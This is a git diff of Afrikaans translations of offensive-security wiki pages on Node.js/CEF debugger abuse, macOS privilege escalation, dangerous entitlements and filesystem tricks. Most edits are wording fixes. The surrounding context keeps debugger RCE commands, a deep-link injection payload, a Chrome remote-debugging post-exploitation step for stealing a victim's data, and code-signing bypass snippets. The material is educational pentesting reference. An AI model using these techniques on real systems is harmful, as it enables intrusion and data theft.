+++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md
@@ -4,9 +4,9 @@
## Basiese Inligting
-[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Wanneer dit begin met die `--inspect` skakel, luister 'n Node.js-proses vir 'n debug-klient. Deur **standaard** sal dit luister op gasheer en poort **`127.0.0.1:9229`**. Elke proses word ook aan 'n **unieke** **UUID** toegeken.
+[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Wanneer dit met die `--inspect` skakel begin, luister 'n Node.js-proses vir 'n debug-klient. Deur **standaard** sal dit luister op gasheer en poort **`127.0.0.1:9229`**. Elke proses word ook aan 'n **unieke** **UUID** toegeken.
-Inspector-kliente moet die gasheeradres, poort en UUID ken en spesifiseer om te verbind. 'n Volledige URL sal iets soos `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e` lyk.
+Inspector-kliente moet die gasheeradres, poort en UUID weet en spesifiseer om te verbind. 'n Volledige URL sal iets soos `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e` lyk.
> [!WARNING]
> Aangesien die **debugger volle toegang tot die Node.js-uitvoeringsomgewing het**, mag 'n kwaadwillige akteur wat in staat is om met hierdie poort te verbind, in staat wees om arbitrêre kode namens die Node.js-proses uit te voer (**potensiële privilige-eskalasie**).
@@ -22,27 +22,27 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
```
-Wanneer jy 'n ondersoekte proses begin, sal iets soos hierdie verskyn:
+Wanneer jy 'n ondersoekte proses begin, sal iets soos dit verskyn:
```
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
```
-Proses gebaseer op **CEF** (**Chromium Embedded Framework**) moet die param gebruik: `--remote-debugging-port=9222` om die **debugger** oop te maak (die SSRF beskermings bly baie soortgelyk). Hulle **in plaas daarvan** om 'n **NodeJS** **debug** sessie toe te laat, sal met die blaaier kommunikeer deur die [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), dit is 'n koppelvlak om die blaaiers te beheer, maar daar is nie 'n direkte RCE nie.
+Proses gebaseer op **CEF** (**Chromium Embedded Framework**) moet die param gebruik: `--remote-debugging-port=9222` om die **debugger** oop te maak (die SSRF beskermings bly baie soortgelyk). Hulle **in plaas daarvan** om 'n **NodeJS** **debug** sessie te verleen, sal met die blaaier kommunikeer deur die [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), dit is 'n koppelvlak om die blaaiers te beheer, maar daar is nie 'n direkte RCE nie.
Wanneer jy 'n gedebugde blaaiers begin, sal iets soos dit verskyn:
```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
```
-### Blaaiers, WebSockets en dieselfde oorsprong beleid
+### Browsers, WebSockets en same-origin beleid
-Webwerwe wat in 'n web-blaaier oopgemaak word, kan WebSocket en HTTP versoeke maak onder die blaaiers se sekuriteitsmodel. 'n **Aanvanklike HTTP-verbinding** is nodig om **'n unieke debugger sessie id** te **verkry**. Die **dieselfde oorsprong beleid** **verhinder** webwerwe om **hierdie HTTP-verbinding** te maak. Vir addisionele sekuriteit teen [**DNS rebinding aanvalle**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifieer dat die **'Host' headers** vir die verbinding of 'n **IP adres** of **`localhost`** of **`localhost6`** presies spesifiseer.
+Webwerwe wat in 'n web-blaaier oopgemaak word, kan WebSocket en HTTP versoeke maak onder die blaaiers se sekuriteitsmodel. 'n **Aanvanklike HTTP-verbinding** is nodig om **'n unieke debugger sessie id** te **verkry**. Die **same-origin-beleid** **verhinder** webwerwe om **hierdie HTTP-verbinding** te maak. Vir addisionele sekuriteit teen [**DNS rebinding aanvalle**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** verifieer Node.js dat die **'Host' headers** vir die verbinding of 'n **IP adres** of **`localhost`** of **`localhost6`** presies spesifiseer.
> [!NOTE]
-> Hierdie **sekuriteitsmaatreëls verhinder die benutting van die inspekteur** om kode te loop deur **net 'n HTTP versoek te stuur** (wat gedoen kon word deur 'n SSRF kwesbaarheid te benut).
+> Hierdie **sekuriteitsmaatreëls verhinder die benutting van die inspekteur** om kode te laat loop deur **net 'n HTTP versoek te stuur** (wat gedoen kon word deur 'n SSRF kwesbaarheid te benut).
### Begin inspekteur in lopende prosesse
-Jy kan die **sein SIGUSR1** na 'n lopende nodejs-proses stuur om dit te **begin die inspekteur** in die standaardpoort. Let egter daarop dat jy genoeg voorregte moet hê, so dit mag jou **voorregte toegang tot inligting binne die proses** gee, maar nie 'n direkte voorregte eskalasie nie.
+Jy kan die **sein SIGUSR1** na 'n lopende nodejs-proses stuur om dit te **laat begin die inspekteur** in die standaardpoort. Let egter daarop dat jy genoeg voorregte moet hê, so dit mag jou **voorregte toegang tot inligting binne die proses** gee, maar nie 'n direkte voorregte-eskalasie nie.
```bash
kill -s SIGUSR1
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@@ -50,20 +50,20 @@ kill -s SIGUSR1
> [!NOTE]
> Dit is nuttig in houers omdat **om die proses af te sluit en 'n nuwe een te begin** met `--inspect` **nie 'n opsie** is nie omdat die **houer** saam met die proses **vermoor** sal word.
-### Verbind met inspekteerder/debugger
+### Verbind met inspekteur/debugger
-Om met 'n **Chromium-gebaseerde blaaier** te verbind, kan die `chrome://inspect` of `edge://inspect` URL's vir Chrome of Edge, onderskeidelik, toeganklik wees. Deur op die Konfigureer-knoppie te klik, moet verseker word dat die **teikenhost en poort** korrek gelys is. Die beeld toon 'n Voorbeeld van Afgeleide Kode-uitvoering (RCE):
+Om met 'n **Chromium-gebaseerde blaaier** te verbind, kan die `chrome://inspect` of `edge://inspect` URL's vir Chrome of Edge, onderskeidelik, toeganklik gemaak word. Deur op die Konfigureer-knoppie te klik, moet verseker word dat die **teikenhost en poort** korrek gelys is. Die beeld toon 'n Voorbeeld van Afgeleide Kode-uitvoering (RCE):
.png>)
-Met die **opdraglyn** kan jy met 'n debugger/inspekteerder verbind met:
+Met die **opdraglyn** kan jy met 'n debugger/inspekteur verbind met:
```bash
node inspect :
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
```
-Die hulpmiddel [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) laat toe om **inspekteurs** wat plaaslik loop te **vind** en **kode** daarin te **inspuit**.
+Die hulpmiddel [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) laat toe om **inspekteurs** wat plaaslik loop te **vind** en **kode** daarin te **injekteer**.
```bash
#List possible vulnerable sockets
./cefdebug.exe
@@ -73,12 +73,12 @@ Die hulpmiddel [**https://github.com/taviso/cefdebug**](https://github.com/tavis
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
```
> [!NOTE]
-> Let daarop dat **NodeJS RCE exploits nie sal werk nie** as dit aan 'n blaaskonsole gekoppel is via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (jy moet die API nagaan om interessante dinge te vind om daarmee te doen).
+> Let daarop dat **NodeJS RCE exploits nie sal werk** as dit aan 'n blaaskode gekoppel is via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (jy moet die API nagaan om interessante dinge te vind om daarmee te doen).
## RCE in NodeJS Debugger/Inspector
> [!NOTE]
-> As jy hier gekom het om te kyk hoe om [**RCE uit 'n XSS in Electron te verkry, kyk asseblief na hierdie bladsy.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
+> As jy hier gekom het om te kyk hoe om [**RCE uit 'n XSS in Electron te verkry, kyk asseblief na hierdie bladsy.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
Sommige algemene maniere om **RCE** te verkry wanneer jy kan **verbinde** met 'n Node **inspector** is om iets soos (lyk of dit **nie sal werk in 'n verbinding met Chrome DevTools protocol**):
```javascript
@@ -89,20 +89,20 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
```
## Chrome DevTools Protocol Payloads
-Jy kan die API hier nagaan: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
+You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
In hierdie afdeling sal ek net interessante dinge lys wat ek vind mense gebruik het om hierdie protokol te ontgin.
### Parameter Injection via Deep Links
-In die [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) het Rhino sekuriteit ontdek dat 'n toepassing gebaseer op CEF **'n aangepaste UR**I in die stelsel geregistreer het (workspaces://) wat die volle URI ontvang het en toe **die CEF-gebaseerde toepassing** met 'n konfigurasie wat gedeeltelik van daardie URI saamgestel is, begin het.
+In die [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) het Rhino-sekuriteit ontdek dat 'n toepassing gebaseer op CEF **'n persoonlike UR**I in die stelsel geregistreer het (workspaces://index.html) wat die volle URI ontvang het en toe **die CEF-gebaseerde toepassing** met 'n konfigurasie wat gedeeltelik van daardie URI saamgestel is, gelaai het.
-Daar is ontdek dat die URI parameters URL gedekodeer is en gebruik is om die CEF basiese toepassing te begin, wat 'n gebruiker toelaat om die vlag **`--gpu-launcher`** in die **opdraglyn** in te voeg en arbitrêre dinge uit te voer.
+Daar is ontdek dat die URI parameters URL-dekodeer is en gebruik is om die CEF-basis toepassing te laai, wat 'n gebruiker in staat gestel het om die vlag **`--gpu-launcher`** in die **opdraglyn** in te voeg en arbitrêre dinge uit te voer.
So, 'n payload soos:
```
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
```
-Sal 'n calc.exe uitvoer.
+sal 'n calc.exe uitvoer.
### Oorskrywe Lêers
@@ -126,9 +126,9 @@ Volgens hierdie pos: [https://medium.com/@knownsec404team/counter-webdriver-from
### Post-Exploitasie
-In 'n werklike omgewing en **na die kompromittering** van 'n gebruiker se rekenaar wat 'n Chrome/Chromium-gebaseerde blaaier gebruik, kan jy 'n Chrome-proses met die **ontfouting geaktiveer en die ontfoutingspoort** aanroep sodat jy toegang kan verkry. Op hierdie manier sal jy in staat wees om **alles wat die slagoffer met Chrome doen te inspekteer en sensitiewe inligting te steel**.
+In 'n werklike omgewing en **na die kompromittering** van 'n gebruiker se rekenaar wat 'n Chrome/Chromium-gebaseerde blaaier gebruik, kan jy 'n Chrome-proses met die **debugging geaktiveer en die debugging-poort deurgee** sodat jy toegang kan verkry. Op hierdie manier sal jy in staat wees om **alles wat die slagoffer met Chrome doen te inspekteer en sensitiewe inligting te steel**.
-Die stealth manier is om **elke Chrome-proses te beëindig** en dan iets soos te noem
+Die stealth manier is om **elke Chrome-proses te beëindig** en dan iets soos te roep
```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md
index 79d069192..8b01917be 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md
@@ -73,7 +73,7 @@ Dit kan in die volgende situasies gebeur:
In staat wees om 'n **lêer te skep** wat gaan **gebruik word deur root**, stel 'n gebruiker in staat om **voordeel te trek uit sy inhoud** of selfs **simboliese skakels/hardskakels** te skep om dit na 'n ander plek te wys.
-Vir hierdie tipe kwesbaarhede, moenie vergeet om **kwesbare `.pkg` installeerders** te **kontroleer**:
+Vir hierdie soort kwesbaarhede, moenie vergeet om **kwesbare `.pkg` installeerders** te **kontroleer**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
@@ -81,7 +81,7 @@ macos-files-folders-and-binaries/macos-installers-abuse.md
### Lêeruitbreiding & URL skema app hanteerders
-Vreemde apps wat deur lêeruitbreidings geregistreer is, kan misbruik word en verskillende toepassings kan geregistreer word om spesifieke protokolle te open
+Vreemde programme wat deur lêeruitbreidings geregistreer is, kan misbruik word en verskillende toepassings kan geregistreer word om spesifieke protokolle te open
{{#ref}}
macos-file-extension-apps.md
@@ -95,11 +95,11 @@ Daarom sal 'n aanvaller wat 'n macOS masjien suksesvol wil kompromitteer, moet *
Hierdie toestemmings word gewoonlik gegee in die vorm van **regte** waarmee die toepassing onderteken is, of die toepassing mag sekere toegang versoek het en nadat die **gebruiker dit goedgekeur het**, kan dit in die **TCC databasisse** gevind word. 'n Ander manier waarop 'n proses hierdie toestemmings kan verkry, is deur 'n **kind van 'n proses** met daardie **toestemmings** te wees, aangesien dit gewoonlik **geërf** word.
-Volg hierdie skakels om verskillende maniere te vind om [**privileges in TCC te verhoog**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), om [**TCC te omseil**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) en hoe in die verlede [**SIP omseil is**](macos-security-protections/macos-sip.md#sip-bypasses).
+Volg hierdie skakels om verskillende maniere te vind om [**privileges in TCC te verhoog**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), om [**TCC te omseil**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) en hoe in die verlede [**SIP omseil is**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Tradisionele Privilege Escalering
-Natuurlik moet jy ook belangstel om na root te verhoog vanuit 'n rooi span se perspektief. Kyk na die volgende pos vir 'n paar wenke:
+Natuurlik, vanuit 'n rooi span se perspektief, moet jy ook belangstel om na root te verhoog. Kyk na die volgende pos vir 'n paar wenke:
{{#ref}}
macos-privilege-escalation.md
@@ -111,7 +111,7 @@ macos-privilege-escalation.md
## Verwysings
-- [**OS X Voorval Respons: Scripting en Analise**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
+- [**OS X Voorval Respons: Skripting en Analise**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
index 6ca7122e6..2fd4c6dea 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
@@ -17,15 +17,15 @@ Die toestemming **`com.apple.rootless.install`** maak dit moontlik om **SIP te o
### **`com.apple.system-task-ports` (voorheen genoem `task_for_pid-allow`)**
-Hierdie toestemming maak dit moontlik om die **taakpoort vir enige** proses te verkry, behalwe die kernel. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Hierdie toestemming maak dit moontlik om die **taakpoort vir enige** proses te verkry, behalwe die kernel. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
### `com.apple.security.get-task-allow`
-Hierdie toestemming maak dit moontlik vir ander prosesse met die **`com.apple.security.cs.debugger`** toestemming om die taakpoort van die proses wat deur die binêre met hierdie toestemming uitgevoer word, te verkry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Hierdie toestemming maak dit moontlik vir ander prosesse met die **`com.apple.security.cs.debugger`** toestemming om die taakpoort van die proses wat deur die binêre met hierdie toestemming uitgevoer word, te verkry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
### `com.apple.security.cs.debugger`
-Toepassings met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty toepassings met die `Get Task Allow` toestemming wat op `true` gestel is, te verkry. Maar, selfs met die debugging tool toestemming, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus deur Stelselintegriteitbeskerming beskerm word, verkry. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
+Toepassings met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty toepassings met die `Get Task Allow` toestemming wat op `true` gestel is, te verkry. Tog, selfs met die debugging tool toestemming, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus deur Stelselintegriteitsbeskerming beskerm word, verkry. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
### `com.apple.security.cs.disable-library-validation`
@@ -50,7 +50,7 @@ Hierdie toestemmings maak dit moontlik om **programmatuur te installeer sonder o
### `com.apple.private.security.kext-management`
-Toestemming wat benodig word om die **kernel te vra om 'n kernuitbreiding te laai**.
+Toestemming wat benodig word om die **kernel te vra om 'n kernel uitbreiding** te laai.
### **`com.apple.private.icloud-account-access`**
@@ -58,7 +58,7 @@ Die toestemming **`com.apple.private.icloud-account-access`** maak dit moontlik
**iMovie** en **Garageband** het hierdie toestemming gehad.
-Vir meer **inligting** oor die uitbuiting om **icloud tokens** van daardie toestemming te verkry, kyk die praatjie: [**#OBTS v5.0: "Wat op jou Mac gebeur, bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+Vir meer **inligting** oor die uitbuiting om **icloud tokens** van daardie toestemming te verkry, kyk die praatjie: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@@ -87,7 +87,7 @@ Hierdie toestemming lys **keychain** groepe waartoe die toepassing toegang het:
```
### **`kTCCServiceSystemPolicyAllFiles`**
-Gee **Volledige Skyftoegang** regte, een van die hoogste TCC regte wat jy kan hê.
+Gee **Volle Skyf Toegang** regte, een van die TCC hoogste regte wat jy kan hê.
### **`kTCCServiceAppleEvents`**
@@ -101,7 +101,7 @@ Of om hulle **arbitraire aksies** te laat uitvoer.
### **`kTCCServiceEndpointSecurityClient`**
-Laat, onder andere toestemmings, toe om die **gebruikers TCC databasis** te **skryf**.
+Laat, onder andere toestemmings, toe om die **gebruikers TCC-databasis** te **skryf**.
### **`kTCCServiceSystemPolicySysAdminFiles`**
@@ -123,21 +123,21 @@ Die proses sal in staat wees om die **macOS toeganklikheidskenmerke** te **misbr
### `com.apple.security.cs.allow-jit`
-Hierdie regte laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag aan die `mmap()` stelselfunksie te gee. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
+Hierdie reg laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag aan die `mmap()` stelselfunksie deur te gee. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
-Hierdie regte laat toe om **C-kode te oorskry of te patch**, gebruik die lank-deprecated **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback** raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
+Hierdie reg laat toe om **C-kode te oorskry of te patch**, gebruik die lank-gedepregeerde **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback** raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
> [!CAUTION]
-> Om hierdie regte in te sluit stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kode tale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering benodig.
+> Om hierdie reg in te sluit stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kode tale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering benodig.
### `com.apple.security.cs.disable-executable-page-protection`
-Hierdie regte laat toe om **afdelings van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
+Hierdie reg laat toe om **afdelings van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
> [!CAUTION]
-> Die Disable Executable Memory Protection Entitlement is 'n uiterste regte wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Verkies nouer regte indien moontlik.
+> Die Disable Executable Memory Protection Entitlement is 'n uiterste reg wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Verkies nouer regte indien moontlik.
### `com.apple.security.cs.allow-relative-library-loads`
@@ -145,7 +145,7 @@ TODO
### `com.apple.private.nullfs_allow`
-Hierdie regte laat toe om 'n nullfs lêerstelsel te monteer (verbied deur standaard). Gereedskap: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
+Hierdie reg laat toe om 'n nullfs lêerstelsel te monteer (verbied deur standaard). Gereedskap: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
### `kTCCServiceAll`
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
index 456f28bd6..d2927489e 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
@@ -2,25 +2,25 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## POSIX toestemmings kombinasies
+## POSIX toestemmingskombinasies
Toestemmings in 'n **gids**:
- **lees** - jy kan die **gids** inskrywings **opnoem**
-- **skryf** - jy kan **lêers** in die gids **verwyder/skryf** en jy kan **leë vouers verwyder**.
-- Maar jy **kan nie nie-leë vouers verwyder/modifiseer** tensy jy skryftoestemmings daaroor het.
-- Jy **kan nie die naam van 'n vouer modifiseer** tensy jy dit besit.
-- **voer uit** - jy is **toegelaat om** die gids te **deursoek** - as jy nie hierdie reg het nie, kan jy nie enige lêers binne dit, of in enige subgidsen, toegang verkry nie.
+- **skryf** - jy kan **verwyder/skryf** **lêers** in die gids en jy kan **leë vouers verwyder**.
+- Maar jy **kan nie nie-leë vouers verwyder/wysig** tensy jy skryftoestemmings daaroor het.
+- Jy **kan nie die naam van 'n vouer wysig** tensy jy dit besit.
+- **voer uit** - jy is **toegelaat om** die gids te **deursoek** - as jy nie hierdie reg het nie, kan jy nie enige lêers binne dit, of in enige subgidsen, toegang nie.
### Gevaarlike Kombinasies
**Hoe om 'n lêer/vouer wat deur root besit word te oorskryf**, maar:
- Een ouer **gids eienaar** in die pad is die gebruiker
-- Een ouer **gids eienaar** in die pad is 'n **gebruikersgroep** met **skryf toegang**
+- Een ouer **gids eienaar** in die pad is 'n **gebruikersgroep** met **skryftoegang**
- 'n Gebruikers **groep** het **skryf** toegang tot die **lêer**
-Met enige van die vorige kombinasies, kan 'n aanvaller 'n **sim/hard skakel** in die verwagte pad **injek** om 'n bevoorregte arbitrêre skryf te verkry.
+Met enige van die vorige kombinasies, kan 'n aanvaller 'n **sim/hard skakel** na die verwagte pad **injek** om 'n bevoorregte arbitrêre skryf te verkry.
### Vouer root R+X Spesiale geval
@@ -34,7 +34,7 @@ Voorbeeld in: [https://theevilbit.github.io/posts/exploiting_directory_permissio
As 'n bevoorregte proses data in 'n **lêer** skryf wat **beheer** kan word deur 'n **laer bevoorregte gebruiker**, of wat **voorheen geskep** is deur 'n laer bevoorregte gebruiker. Die gebruiker kan net **na 'n ander lêer wys** via 'n Simboliese of Hard skakel, en die bevoorregte proses sal op daardie lêer skryf.
-Kyk in die ander afdelings waar 'n aanvaller 'n **arbitrêre skryf kan misbruik om bevoorregte te verhoog**.
+Kyk in die ander afdelings waar 'n aanvaller 'n **arbitrêre skryf kan misbruik om voorregte te verhoog**.
### Open `O_NOFOLLOW`
@@ -84,9 +84,9 @@ xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
```
-### defvfs monteer
+### defvfs mount
-'n **devfs** monteer **ondersteun nie xattr nie**, meer inligting in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
+'n **devfs** mount **ondersteun nie xattr nie**, meer inligting in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
```bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
@@ -97,7 +97,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
```
### writeextattr ACL
-Hierdie ACL voorkom dat `xattrs` by die lêer gevoeg word
+Hierdie ACL verhoed dat `xattrs` by die lêer gevoeg word
```bash
rm -rf /tmp/test*
echo test >/tmp/test
@@ -122,7 +122,7 @@ ls -le /tmp/test
**AppleDouble** lêerformaat kopieer 'n lêer insluitend sy ACEs.
-In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd **`com.apple.acl.text`** gestoor is, as ACL in die gedecomprimeerde lêer gestel gaan word. So, as jy 'n toepassing in 'n zip-lêer met **AppleDouble** lêerformaat gekompresseer het met 'n ACL wat voorkom dat ander xattrs daarop geskryf kan word... die kwarantyn xattr is nie in die toepassing gestel nie:
+In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd **`com.apple.acl.text`** gestoor is, as ACL in die gedecomprimeerde lêer gestel gaan word. So, as jy 'n toepassing in 'n zip-lêer met **AppleDouble** lêerformaat gekompresseer het met 'n ACL wat voorkom dat ander xattrs daarin geskryf word... was die kwarantyn xattr nie in die toepassing gestel nie:
Kontroleer die [**oorspronklike verslag**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) vir meer inligting.
@@ -152,15 +152,15 @@ Nie regtig nodig nie, maar ek laat dit daar net ingeval:
macos-xattr-acls-extra-stuff.md
{{#endref}}
-## Oorskry handtekening kontroles
+## Bypass handtekening kontroles
-### Oorskry platform binêre kontroles
+### Bypass platform binêre kontroles
-Sommige sekuriteitskontroles kyk of die binêre 'n **platform binêre** is, byvoorbeeld om verbinding te maak met 'n XPC-diens. egter, soos blootgestel in 'n oorskry in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, is dit moontlik om hierdie kontrole te oorskry deur 'n platform binêre (soos /bin/ls) te verkry en die uitbuiting via dyld in te spuit met 'n omgewing veranderlike `DYLD_INSERT_LIBRARIES`.
+Sommige sekuriteitskontroles kyk of die binêre 'n **platform binêre** is, byvoorbeeld om verbinding te maak met 'n XPC-diens. Dit is egter moontlik om hierdie kontrole te omseil deur 'n platform binêre (soos /bin/ls) te verkry en die uitbuiting via dyld te inspuit met 'n omgewing veranderlike `DYLD_INSERT_LIBRARIES`.
-### Oorskry vlae `CS_REQUIRE_LV` en `CS_FORCED_LV`
+### Bypass vlae `CS_REQUIRE_LV` en `CS_FORCED_LV`
-Dit is moontlik vir 'n uitvoerende binêre om sy eie vlae te wysig om kontroles te oorskry met 'n kode soos:
+Dit is moontlik vir 'n uitvoerende binêre om sy eie vlae te wysig om kontroles te omseil met 'n kode soos:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
@@ -175,7 +175,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
```
## Bypass Code Signatures
-Bundles bevat die lêer **`_CodeSignature/CodeResources`** wat die **hash** van elke enkele **lêer** in die **bundle** bevat. Let daarop dat die hash van CodeResources ook **ingebed is in die uitvoerbare**, so ons kan nie daarmee mors nie.
+Bundles bevat die lêer **`_CodeSignature/CodeResources`** wat die **hash** van elke enkele **lêer** in die **bundle** bevat. Let daarop dat die hash van CodeResources ook **ingebed** is in die uitvoerbare lêer, so ons kan nie daarmee mors nie.
